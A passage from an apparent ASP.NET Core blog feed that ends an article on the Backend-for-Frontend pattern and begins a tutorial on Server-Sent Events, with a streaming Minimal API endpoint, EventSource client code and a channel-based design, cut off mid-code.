slowly?</p><p>Is the Analytics Service timing out?</p><p>Is the BFF waiting on too many downstream calls?</p><p>Distributed tracing can connect the incoming frontend request to its downstream service calls.</p><p>A trace might look like this:</p><pre><code><code>GET /api/web/dashboard
    |
    +-- Delivery Service      45 ms
    |
    +-- Tracking Service     120 ms
    |
    +-- Analytics Service   3100 ms
    |
    +-- Response mapping      8 ms</code></code></pre><p>The trace immediately reveals that the Analytics Service dominates the response time.</p><p>Without tracing, developers may incorrectly blame the BFF layer.</p><p>Useful metrics include response latency, downstream call duration, error rates, cache hit rates, request amplification, and fallback frequency.</p><p>The BFF should be observable as its own service while preserving correlation with backend operations.</p><h2>Testing BFF APIs</h2><p>BFF testing focuses on contracts, aggregation behavior, security, and failure handling.</p><p>Unit tests can verify how backend responses are transformed into frontend models.</p><p>Integration tests can verify HTTP endpoints and authentication policies.</p><p>Contract tests can confirm that the BFF continues to satisfy frontend expectations.</p><p>For example, a test might verify that the mobile delivery response doesn&#8217;t expose unnecessary customer information.</p><p>Another test might simulate an Analytics Service outage and confirm that the web dashboard returns a partial response when that behavior is explicitly supported.</p><p>Security tests should verify that users cannot access deliveries belonging to another tenant.</p><p>Performance tests should measure the effect of concurrent frontend requests on downstream services.</p><p>A BFF that performs well with one user may create excessive backend traffic under load.</p><h2>Deployment and Scaling</h2><p>One advantage of separate BFF services is independent scaling.</p><p>The web dashboard may experience heavy traffic during business hours.</p><p>The mobile application may have peaks during delivery shifts.</p><p>Tracking devices may send telemetry continuously throughout the day.</p><p>Separate BFF deployments allow each workload to scale according to its own traffic pattern.</p><p>However, independent deployment also increases operational overhead.</p><p>Each service needs configuration, monitoring, security updates, and deployment automation.</p><p>For smaller teams, a modular BFF hosted in one ASP.NET Core application may be more practical.</p><p>As client requirements and traffic patterns diverge, those modules can be separated into independently deployed services.</p><p>The architecture should evolve with actual needs.</p><h2>Common Mistakes to Avoid</h2><p>A BFF should not become a second domain layer.</p><p>If delivery pricing, shipment eligibility, or payment rules are implemented independently in each BFF, business behavior can become inconsistent.</p><p>Those rules belong in authoritative backend services.</p><p>Another mistake is creating one BFF per screen.</p><p>That produces too many services and makes deployment unnecessarily complex.</p><p>A BFF should represent a meaningful frontend boundary, not every individual page.</p><p>Developers should also avoid excessive request aggregation.</p><p>A single frontend request that triggers dozens of backend calls may become expensive and fragile.</p><p>Caching must respect user and tenant boundaries.</p><p>Authentication must be designed for each client type.</p><p>Finally, BFF services should not expose internal backend models without considering frontend contracts.</p><p>Doing so recreates tight coupling between the frontend and internal services.</p><h2>A Production-Ready BFF Architecture</h2><p>Let&#8217;s bring the pieces together.</p><p>Our logistics platform has three frontend experiences.</p><p>The web dashboard uses a Web BFF for aggregated views, browser authentication, and real-time updates.</p><p>The mobile application uses a Mobile BFF for compact responses, synchronization, and mobile-specific workflows.</p><p>Tracking devices use a Device BFF for telemetry ingestion and configuration retrieval.</p><p>The BFFs communicate with shared domain services through controlled internal APIs.</p><p>Each BFF has its own authentication boundary, response contracts, resilience policies, and observability.</p><p>Shared business logic remains in the backend services.</p><p>This architecture provides flexibility without sacrificing domain consistency.</p><p>The key is maintaining a clear separation between frontend adaptation and business ownership.</p><h2>Coming Next</h2><p>In our next article, we&#8217;ll explore Passwordless Authentication in ASP.NET Core: Passkeys, WebAuthn, and Modern Sign-In.</p><p>Passwords remain one of the most common sources of security problems in web applications.</p><p>Users reuse passwords, choose weak credentials, and fall victim to phishing attacks.</p><p>Passkeys offer a different authentication model built around public-key cryptography.</p><p>We&#8217;ll explore how WebAuthn works, how passkeys differ from traditional passwords, and how ASP.NET Core applications can integrate modern authentication flows.</p><p>We&#8217;ll also examine registration, sign-in, recovery, device synchronization, and production security considerations.</p><h2>Final Thoughts</h2><p>The Backend-for-Frontend pattern solves a practical problem in modern application development.</p><p>Different clients need different APIs.</p><p>A desktop dashboard, mobile application, and connected device may share business data, but they don&#8217;t share identical requirements.</p><p>Trying to force all three through one general-purpose API can create unnecessary coupling, excessive network traffic, and complicated frontend logic.</p><p>A BFF introduces a dedicated layer that adapts backend capabilities to the needs of each client.</p><p>It can aggregate data, reduce frontend round trips, simplify authentication boundaries, and provide client-specific response models.</p><p>ASP.NET Core provides the building blocks needed to implement these layers through Minimal APIs, typed HTTP clients, caching, resilience, authentication, and reverse proxy integration.</p><p>But BFFs must be designed carefully.</p><p>They should not duplicate domain logic.</p><p>They should not become unrestricted proxies.</p><p>They should not introduce excessive backend fan-out.</p><p>And they should not be added when a shared API already meets the application&#8217;s needs.</p><p>A well-designed BFF doesn&#8217;t make backend services less reusable. It makes frontend applications easier to build while allowing backend services to remain focused on their own responsibilities.</p><h2>Subscribe Now</h2><p>Modern ASP.NET Core development is about building systems that are secure, efficient, scalable, and maintainable across different client experiences.</p><p><em><a href="https://www.asptoday.com/">Subscribe to ASP Today</a></em> for practical tutorials, real-world architecture patterns, and production-focused .NET development guides.</p><p>Join our Substack Chat to discuss Backend-for-Frontend architectures, API design, authentication, microservices, and the challenges of supporting web, mobile, and connected devices.</p><p><strong>Subscribe now and follow the series as we continue exploring the technologies and architectural decisions behind modern ASP.NET Core applications. </strong></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Server-Sent Events in ASP.NET Core: Building Lightweight Real-Time Data Streams]]></title><description><![CDATA[Build lightweight real-time streams with SSE, live updates, and automatic reconnection. #ASPToday #aspnetcore #dotnet #SSE]]></description><link>https://www.asptoday.com/p/server-sent-events-in-aspnet-core</link><guid isPermaLink="false">https://www.asptoday.com/p/server-sent-events-in-aspnet-core</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 27 Oct 2026 15:01:36 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!5xzm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F880fc880-04cf-426e-a12f-f6fe274b03d4_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Modern applications are expected to deliver information as it happens. Users want to see report progress, order updates, live dashboards, system alerts, and background processing results without repeatedly refreshing the page. Traditional HTTP APIs work well for requesting information, but they are less efficient when the server needs to deliver a continuous stream of updates. Server-Sent Events (SSE) provide a lightweight solution by allowing an <em><a href="https://www.asptoday.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core application</a></em> to push events to connected clients over a standard HTTP connection. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5xzm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F880fc880-04cf-426e-a12f-f6fe274b03d4_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5xzm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F880fc880-04cf-426e-a12f-f6fe274b03d4_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!5xzm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F880fc880-04cf-426e-a12f-f6fe274b03d4_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!5xzm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F880fc880-04cf-426e-a12f-f6fe274b03d4_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!5xzm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F880fc880-04cf-426e-a12f-f6fe274b03d4_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5xzm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F880fc880-04cf-426e-a12f-f6fe274b03d4_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/880fc880-04cf-426e-a12f-f6fe274b03d4_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1773832,&quot;alt&quot;:&quot;ASP.NET Core streams real-time progress updates to a browser dashboard using Server-Sent Events. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/222293333?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F880fc880-04cf-426e-a12f-f6fe274b03d4_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="ASP.NET Core streams real-time progress updates to a browser dashboard using Server-Sent Events. " title="ASP.NET Core streams real-time progress updates to a browser dashboard using Server-Sent Events. " srcset="https://substackcdn.com/image/fetch/$s_!5xzm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F880fc880-04cf-426e-a12f-f6fe274b03d4_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!5xzm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F880fc880-04cf-426e-a12f-f6fe274b03d4_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!5xzm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F880fc880-04cf-426e-a12f-f6fe274b03d4_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!5xzm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F880fc880-04cf-426e-a12f-f6fe274b03d4_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In this guide, we'll explore how SSE works, build a practical event-streaming API, implement browser clients, handle reconnections and missed events, manage connection lifetimes, and prepare SSE endpoints for production environments. </p><h2>Why Traditional HTTP APIs Are Not Always Enough</h2><p>Imagine an application that generates large financial reports.</p><p>A customer submits a request to generate a report covering several years of transactions. The application accepts the request, places it in a background queue, and begins processing.</p><p>The operation might take three minutes.</p><p>During those three minutes, the customer wants to know what&#8217;s happening.</p><p>Has the report started? How many records have been processed? Is the system generating the PDF? Has the report finished?</p><p>In a traditional HTTP API, the browser might repeatedly request the operation&#8217;s status.</p><pre><code><code>GET /api/operations/8f42a1</code></code></pre><p>The server responds:</p><pre><code><code>{
  "operationId": "8f42a1",
  "status": "running",
  "progress": 45
}</code></code></pre><p>Five seconds later, the browser sends another request.</p><p>Then another.</p><p>And another.</p><p>This approach is called polling.</p><p>Polling is simple and reliable when implemented properly, but it has a limitation. The client must repeatedly ask whether anything has changed, even when the answer is no.</p><p>For one user, this is rarely a problem.</p><p>For thousands of users monitoring long-running operations, dashboards, or live notifications, unnecessary polling can generate significant traffic.</p><p>Server-Sent Events offer another approach.</p><p>Instead of the browser repeatedly asking for updates, the server sends new information whenever it becomes available.</p><h2>Understanding Server-Sent Events</h2><p>Server-Sent Events are a web standard for streaming events from a server to a client over HTTP.</p><p>The client opens a connection to an SSE endpoint.</p><p>The server keeps the HTTP response open and sends events as they occur.</p><p>The client receives those events without issuing a separate request for each update.</p><p>The communication is one-directional.</p><p>The server sends information to the client.</p><p>If the client needs to submit information, it uses an ordinary HTTP request or another communication mechanism.</p><p>That simplicity is one of SSE&#8217;s biggest advantages.</p><p>An application doesn&#8217;t need a full bidirectional communication protocol when its primary requirement is delivering updates from the server.</p><p>Consider a report-generation workflow. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ADVt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f3cd6f6-c49d-453d-b49c-f4047c51895c_711x662.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ADVt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f3cd6f6-c49d-453d-b49c-f4047c51895c_711x662.png 424w, https://substackcdn.com/image/fetch/$s_!ADVt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f3cd6f6-c49d-453d-b49c-f4047c51895c_711x662.png 848w, https://substackcdn.com/image/fetch/$s_!ADVt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f3cd6f6-c49d-453d-b49c-f4047c51895c_711x662.png 1272w, https://substackcdn.com/image/fetch/$s_!ADVt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f3cd6f6-c49d-453d-b49c-f4047c51895c_711x662.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!ADVt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f3cd6f6-c49d-453d-b49c-f4047c51895c_711x662.png" width="711" height="662" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2f3cd6f6-c49d-453d-b49c-f4047c51895c_711x662.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:662,&quot;width&quot;:711,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:50842,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/222293333?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f3cd6f6-c49d-453d-b49c-f4047c51895c_711x662.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ADVt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f3cd6f6-c49d-453d-b49c-f4047c51895c_711x662.png 424w, https://substackcdn.com/image/fetch/$s_!ADVt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f3cd6f6-c49d-453d-b49c-f4047c51895c_711x662.png 848w, https://substackcdn.com/image/fetch/$s_!ADVt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f3cd6f6-c49d-453d-b49c-f4047c51895c_711x662.png 1272w, https://substackcdn.com/image/fetch/$s_!ADVt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f3cd6f6-c49d-453d-b49c-f4047c51895c_711x662.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The browser opens one HTTP connection and receives updates as the server publishes them.</p><p>The browser doesn&#8217;t need to know exactly when the next update will arrive.</p><p>It simply listens.</p><p>When the server publishes an event, the browser receives it.</p><h2>SSE Versus Polling Versus WebSockets</h2><p>SSE is not the only way to deliver real-time information. </p><p>ASP.NET Core applications can also use polling, WebSockets, and SignalR.</p><p>Each approach serves a different purpose.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;a3d6d086-fcb4-4103-a505-28cbd30ea09f&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Feature              Polling               SSE                               WebSockets
Communication        Client requests       Server to client                  Bidirectional
Connection           Repeated requests     Persistent HTTP response          Persistent WebSocket
Browser API          Fetch                 EventSource                       WebSocket
Automatic reconnect  Custom logic          Built into EventSource            Custom logic
Data format          Any HTTP response     UTF-8 text events                 Text or binary
Best suited for      Occasional updates    Live notifications and streams    Interactive two-way messaging</code></pre></div><p>SSE works particularly well when the browser primarily receives information.</p><p>A dashboard displaying live metrics is a good example.</p><p>The user doesn&#8217;t need to send a message every time the CPU utilization changes.</p><p>The server simply publishes new readings.</p><p>A collaborative editing application is different.</p><p>Users continuously send and receive changes. Bidirectional communication is central to the experience.</p><p>WebSockets or SignalR are generally more appropriate there.</p><p>In our earlier article on <em><a href="https://www.asptoday.com/p/a-comprehensive-guide-to-using-signalr">SignalR in Enterprise Applications</a></em>, we explored how SignalR supports real-time communication through connection management, transport negotiation, and scalable messaging. SSE offers a simpler alternative when applications only need to stream updates from the server to connected clients.</p><p>One important distinction is that SignalR is a higher-level framework, not simply another name for WebSockets. It provides connection management, messaging abstractions, and transport negotiation.</p><p>For straightforward one-way event streams, native SSE can be simpler.</p><h2>How SSE Works Over HTTP</h2><p>An SSE connection begins with an ordinary HTTP request.</p><pre><code><code>GET /api/events
Accept: text/event-stream</code></code></pre><p>The server responds with:</p><pre><code><code>HTTP/1.1 200 OK
Content-Type: text/event-stream
Cache-Control: no-cache</code></code></pre><p>Unlike a normal API response, the server doesn&#8217;t immediately finish the response body.</p><p>Instead, it streams messages over time.</p><p>For example:</p><pre><code><code>event: progress
data: {"operationId":"8f42a1","progress":25}

event: progress
data: {"operationId":"8f42a1","progress":65}

event: completed
data: {"operationId":"8f42a1","resultUrl":"/api/reports/8102/download"}</code></code></pre><p>Each event is separated by a blank line.</p><p>The <code>event:</code> field identifies the event type.</p><p>The <code>data:</code> field contains the payload.</p><p>The browser parses these messages and delivers them to JavaScript event handlers.</p><p>This format is intentionally simple.</p><p>It doesn&#8217;t require a separate binary protocol or complex framing layer.</p><h2>Understanding the SSE Message Format</h2><p>An SSE event can contain several fields.</p><pre><code><code>id: 105
event: report-progress
data: {"progress":75}
retry: 5000</code></code></pre><p>Let&#8217;s examine them.</p><p><code>id:</code> identifies an event. The browser can remember the latest event ID and use it during reconnection.</p><p><code>event:</code> defines a named event type. Clients can register listeners for specific event names.</p><p><code>data:</code> contains the event payload. Applications commonly encode JSON here, although SSE itself is a text format.</p><p><code>retry:</code> suggests a reconnection delay in milliseconds for supporting clients.</p><p>A blank line marks the end of the event.</p><p>The server can also send comments:</p><pre><code><code>: heartbeat</code></code></pre><p>Lines beginning with a colon are ignored by the browser&#8217;s event-dispatch logic.</p><p>They are useful for keeping an otherwise idle stream active.</p><p>SSE supports multiple <code>data:</code> lines within a single event. The browser combines them with newline characters.</p><p>Understanding these details matters because a malformed event stream may remain connected while failing to deliver the expected messages.</p><h2>Building Our First SSE Endpoint in ASP.NET Core</h2><p>Let&#8217;s create a small working example using ASP.NET Core Minimal APIs.</p><p>Our first endpoint will publish a timestamp every second.</p><p>This is intentionally simple. It allows us to focus on the mechanics of streaming before introducing background workers and durable event storage.</p><p>Create a new project:</p><pre><code><code>dotnet new web -n SseDemo
cd SseDemo</code></code></pre><p>Open <code>Program.cs</code>.</p><p>We&#8217;ll implement a streaming endpoint using <code>HttpResponse.WriteAsync</code>.</p><pre><code><code>using System.Text.Json;

var builder = WebApplication.CreateBuilder(args);

var app = builder.Build();

app.MapGet("/api/events", async (
    HttpContext context,
    CancellationToken cancellationToken) =&gt;
{
    context.Response.ContentType =
        "text/event-stream";

    context.Response.Headers.CacheControl =
        "no-cache";

    context.Response.Headers["X-Accel-Buffering"] =
        "no";

    await context.Response.StartAsync(
        cancellationToken);

    var eventId = 0;

    try
    {
        while (!cancellationToken.IsCancellationRequested)
        {
            eventId++;

            var payload = JsonSerializer.Serialize(new
            {
                message = "Server is running",
                timestamp = DateTimeOffset.UtcNow
            });

            await context.Response.WriteAsync(
                $"id: {eventId}\n" +
                "event: heartbeat\n" +
                $"data: {payload}\n\n",
                cancellationToken);

            await context.Response.Body.FlushAsync(
                cancellationToken);

            await Task.Delay(
                TimeSpan.FromSeconds(1),
                cancellationToken);
        }
    }
    catch (OperationCanceledException)
        when (cancellationToken.IsCancellationRequested)
    {
        // Client disconnected or request was cancelled.
    }
});

app.Run();</code></code></pre><p>Run the application:</p><pre><code><code>dotnet run</code></code></pre><p>Open the endpoint in a browser or use a terminal:</p><pre><code><code>curl -N http://localhost:5000/api/events</code></code></pre><p>Replace the URL with the actual address printed by the application.</p><p>The <code>-N</code> option tells curl not to buffer the output.</p><p>You should see events arriving approximately once per second.</p><p>The response stays open until the client disconnects or the server ends the stream.</p><h2>Why Flushing Matters</h2><p>When an ASP.NET Core endpoint writes to the response body, the data may pass through buffering layers.</p><p>For an ordinary HTTP response, buffering is often useful.</p><p>For SSE, the goal is to deliver each event promptly.</p><p>Calling:</p><pre><code><code>await context.Response.Body.FlushAsync(
    cancellationToken);</code></code></pre><p>asks the response stream to flush buffered data.</p><p>Without timely flushing, several events may be delayed and delivered together.</p><p>However, flushing at the application level doesn&#8217;t guarantee immediate delivery through every proxy, CDN, or network intermediary.</p><p>Production deployments must also account for intermediary buffering and connection timeouts.</p><p>The <code>X-Accel-Buffering: no</code> header is useful for compatible Nginx configurations, but it is not a universal instruction understood by every proxy.</p><h2>Using the Browser&#8217;s EventSource API</h2><p>Browsers provide a built-in API for consuming Server-Sent Events.</p><p>It&#8217;s called <code>EventSource</code>.</p><p>Let&#8217;s connect our browser to the endpoint.</p><pre><code><code>const source = new EventSource("/api/events");

source.addEventListener("heartbeat", event =&gt; {
    const data = JSON.parse(event.data);

    console.log("Message:", data.message);
    console.log("Timestamp:", data.timestamp);
});

source.onerror = () =&gt; {
    console.log("SSE connection interrupted");
};</code></code></pre><p>That&#8217;s enough to receive the stream.</p><p>The browser opens the connection and listens for events.</p><p>When a <code>heartbeat</code> event arrives, the corresponding listener runs.</p><p>If the connection is interrupted unexpectedly, <code>EventSource</code> generally attempts to reconnect automatically.</p><p>This is one of the reasons SSE is attractive for browser-based dashboards and status updates.</p><p>The client doesn&#8217;t need to implement a complete reconnection loop from scratch.</p><h2>EventSource Has Important Limitations</h2><p>The native <code>EventSource</code> API is intentionally narrow.</p><p>It opens an HTTP GET request.</p><p>It doesn&#8217;t allow applications to specify arbitrary request headers through its constructor.</p><p>That matters for authentication.</p><p>If an API requires an <code>Authorization: Bearer ...</code> header, native <code>EventSource</code> cannot directly supply that header.</p><p>For same-origin applications, cookie-based authentication is often convenient.</p><p>For cross-origin requests, the constructor supports a <code>withCredentials</code> option:</p><pre><code><code>const source = new EventSource(
    "https://api.example.com/events",
    {
        withCredentials: true
    });</code></code></pre><p>The server must configure CORS and credentials correctly for this to work.</p><p>Another option is using a streaming <code>fetch()</code> implementation, which gives the application more control over request headers but requires custom stream parsing and reconnection logic.</p><p>Avoid placing long-lived access tokens in query strings. URLs may appear in logs, monitoring systems, browser history, and other infrastructure.</p><p>Authentication should be designed as part of the SSE contract, not added as an afterthought.</p><h2>Building a Real-World Report Progress Stream</h2><p>Let&#8217;s connect SSE to the asynchronous report-processing workflow from our previous article, Building Asynchronous APIs in ASP.NET Core: Long-Running Operations and the 202 Accepted Pattern.</p><p>That article introduced a useful architecture:</p><p>The client submits a report request.</p><p>The API returns HTTP 202 Accepted.</p><p>A background worker processes the report.</p><p>The client checks the operation&#8217;s status.</p><p>SSE can improve the final step.</p><p>Instead of polling repeatedly, the client subscribes to updates for the accepted operation.</p><p>For example:</p><pre><code><code>GET /api/operations/8f42a1/events
Accept: text/event-stream</code></code></pre><p>The server might publish:</p><pre><code><code>event: status
data: {"status":"queued"}

event: status
data: {"status":"running"}

event: progress
data: {"progress":35}

event: progress
data: {"progress":80}

event: completed
data: {"resultUrl":"/api/reports/8102/download"}</code></code></pre><p>The browser receives updates as the worker makes progress.</p><p>This creates a more responsive user experience without requiring the browser to repeatedly request the same status resource.</p><p>Importantly, the operation-status endpoint should still exist.</p><p>SSE is a delivery mechanism, not a replacement for durable operation state.</p><h2>Separating Event Production From Event Delivery</h2><p>A common mistake is to perform the background operation directly inside the SSE endpoint.</p><p>For example, an endpoint might start generating a report and stream progress while the work runs.</p><p>That can be appropriate for short-lived, disposable streaming operations.</p><p>It is not suitable when the report must continue after the browser disconnects.</p><p>For durable background work, the worker and the SSE connection should be independent.</p><p>The worker processes the report.</p><p>The operation store records its state.</p><p>An event publisher distributes progress notifications.</p><p>The SSE endpoint forwards relevant notifications to connected clients.</p><p>The resulting architecture looks like this:</p><pre><code><code>Report request
      |
      v
ASP.NET Core API
      |
      v
Durable operation store
      |
      v
Background worker
      |
      +----&gt; Update operation state
      |
      +----&gt; Publish progress event
                       |
                       v
                 Event delivery
                       |
                       v
                 SSE endpoint
                       |
                       v
                    Browser</code></code></pre><p>This separation is important.</p><p>If the browser disconnects, report generation continues.</p><p>If the SSE endpoint restarts, the report&#8217;s durable state remains intact.</p><p>If the client reconnects, it can retrieve the current operation state and, when supported, replay missed events.</p><h2>Publishing Events With Channels</h2><p>ASP.NET Core applications can use <code>System.Threading.Channels</code> to coordinate asynchronous event production and consumption within a process.</p><p>A channel acts as a queue between a writer and a reader.</p><p>For a simple demonstration, we&#8217;ll create a dedicated channel for each subscriber.</p><pre><code><code>using System.Collections.Concurrent;
using System.Threading.Channels;

public sealed record ProgressEvent(
    Guid OperationId,
    string Status,
    int? Progress,
    string? ResultUrl);

public sealed class ProgressEventHub
{
    private readonly ConcurrentDictionary&lt;
        Guid,
